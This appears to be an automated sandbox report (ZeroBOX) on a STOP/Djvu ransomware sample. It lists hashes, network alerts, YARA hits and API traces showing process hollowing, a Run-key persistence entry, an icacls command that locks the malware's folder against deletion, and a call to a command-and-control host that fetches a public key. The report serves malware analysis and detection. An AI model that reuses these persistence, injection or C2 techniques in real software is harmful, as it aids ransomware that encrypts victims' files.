Summary | ZeroBOX

66ae9cc050ded_file0308.exe

Suspicious_Script_Bin Malicious Library DGA ScreenShot PWS Internet API DNS Http API Socket AntiDebug PE File PE32 AntiVM
Category Machine Started Completed
FILE s1_win7_x6401 Aug. 9, 2024, 4:42 p.m. Aug. 9, 2024, 4:44 p.m.
Size 729.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 d7528cd33b73718b5949277420681f90
SHA256 3b8d07693e296aee36e7607c71503d981396a21b367e169146afdd052cdcf4d1
CRC32 CF34C73C
ssdeep 12288:koywWrwlTyC9yR+xBP4wMpAuhjH8/Hl19KKjNgzqE0CM6EpJMwk:PlTX9Xj4w+hbM1/g2kM
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)

IP Address Status Action
104.21.65.24 Active Moloch
109.98.58.98 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.101:59002 -> 164.124.101.2:53 2027026 ET POLICY External IP Address Lookup DNS Query (2ip .ua) Device Retrieving External IP Address Detected
TCP 192.168.56.101:49165 -> 104.21.65.24:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.101:49165 -> 104.21.65.24:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49171 -> 104.21.65.24:443 2033214 ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI) Potentially Bad Traffic
TCP 192.168.56.101:49171 -> 104.21.65.24:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49172 -> 109.98.58.98:80 2002400 ET USER_AGENTS Suspicious User Agent (Microsoft Internet Explorer) A Network Trojan was detected
TCP 192.168.56.101:49172 -> 109.98.58.98:80 2036334 ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key A Network Trojan was detected
TCP 109.98.58.98:80 -> 192.168.56.101:49172 2036335 ET MALWARE Win32/Filecoder.STOP Variant Public Key Download A Network Trojan was detected

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49165
104.21.65.24:443
C=US, O=Google Trust Services, CN=WE1 CN=2ip.ua ff:79:da:c4:72:a8:32:8f:28:1d:c9:7f:3a:b0:c3:0e:3f:7e:7e:a1
TLSv1
192.168.56.101:49171
104.21.65.24:443
C=US, O=Google Trust Services, CN=WE1 CN=2ip.ua ff:79:da:c4:72:a8:32:8f:28:1d:c9:7f:3a:b0:c3:0e:3f:7e:7e:a1

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
request GET http://cajgtus.com/test1/get.php?pid=CD20CF071BA7C05D5F5E6CAF42496E78&first=true
request GET https://api.2ip.ua/geo.json
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 598016
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01df0000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2552
region_size: 1159168
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01e90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2844
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 598016
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004d0000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2844
region_size: 1159168
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01e30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2948
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72d62000
process_handle: 0xffffffff
1 0 0
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x000c3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x000c3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x000c3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x000c3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x000c3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x000c3710 size 0x00000468
name RT_ICON language LANG_TURKISH filetype GLS_BINARY_LSB_FIRST sublanguage SUBLANG_DEFAULT offset 0x000c3710 size 0x00000468
name RT_GROUP_ICON language LANG_TURKISH filetype data sublanguage SUBLANG_DEFAULT offset 0x000c3b78 size 0x00000068
section {u'size_of_data': u'0x000a6c00', u'virtual_address': u'0x00001000', u'entropy': 7.733615032334489, u'name': u'.text', u'virtual_size': u'0x000a6b37'} entropy 7.73361503233 description A section with a high entropy has been found
entropy 0.916208791209 description Overall entropy of this PE file is high
url http://www.openssl.org/support/faq.html
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description PWS Memory rule Generic_PWS_Memory_Zero
description Communications use DNS rule Network_DNS
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description PWS Memory rule Generic_PWS_Memory_Zero
description Communications use DNS rule Network_DNS
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2692
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

process_identifier: 2948
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

information_class: 8 (SystemProcessorPerformanceInformation)
1 0 0
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper reg_value "C:\Users\test22\AppData\Local\bd4a28f1-cb77-421f-94db-ad2670c2c5c2\66ae9cc050ded_file0308.exe" --AutoStart
Time & API Arguments Status Return Repeated

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 2692
process_handle: 0x00000080
1 1 0

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 2948
process_handle: 0x00000080
1 1 0
Process injection Process 2552 called NtSetContextThread to modify thread in remote process 2692
Process injection Process 2844 called NtSetContextThread to modify thread in remote process 2948
Time & API Arguments Status Return Repeated

NtSetContextThread

registers.eip: 1995571652
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2692
1 0 0

NtSetContextThread

registers.eip: 1995571652
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2948
1 0 0
Process injection Process 2552 resumed a thread in remote process 2692
Process injection Process 2692 resumed a thread in remote process 2844
Process injection Process 2844 resumed a thread in remote process 2948
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2692
1 0 0

NtResumeThread

thread_handle: 0x000002c0
suspend_count: 1
process_identifier: 2844
1 0 0

NtResumeThread

thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2948
1 0 0
cmdline icacls "C:\Users\test22\AppData\Local\bd4a28f1-cb77-421f-94db-ad2670c2c5c2" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2696
thread_handle: 0x0000007c
process_identifier: 2692
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

base_address: 0x00400000
region_size: 4096
process_identifier: 2692
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

process_identifier: 2692
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 2692
process_handle: 0x00000080
1 1 0

NtSetContextThread

registers.eip: 1995571652
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2692
1 0 0

NtResumeThread

thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2692
1 0 0

CreateProcessInternalW

thread_identifier: 2796
thread_handle: 0x0000030c
process_identifier: 2792
current_directory:
filepath:
track: 1
command_line: icacls "C:\Users\test22\AppData\Local\bd4a28f1-cb77-421f-94db-ad2670c2c5c2" /deny *S-1-1-0:(OI)(CI)(DE,DC)
filepath_r:
stack_pivoted: 0
creation_flags: 72 (DETACHED_PROCESS|IDLE_PRIORITY_CLASS)
inherit_handles: 0
process_handle: 0x000004f8
1 1 0

CreateProcessInternalW

thread_identifier: 2848
thread_handle: 0x000002c0
process_identifier: 2844
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe" --Admin IsNotAutoStart IsNotTask
filepath_r: C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe
stack_pivoted: 0
creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002c8
1 1 0

NtResumeThread

thread_handle: 0x000002c0
suspend_count: 1
process_identifier: 2844
1 0 0

CreateProcessInternalW

thread_identifier: 2952
thread_handle: 0x0000007c
process_identifier: 2948
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe" --Admin IsNotAutoStart IsNotTask
filepath_r: C:\Users\test22\AppData\Local\Temp\66ae9cc050ded_file0308.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

base_address: 0x00400000
region_size: 4096
process_identifier: 2948
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

process_identifier: 2948
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 2948
process_handle: 0x00000080
1 1 0

NtSetContextThread

registers.eip: 1995571652
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2948
1 0 0

NtResumeThread

thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2948
1 0 0
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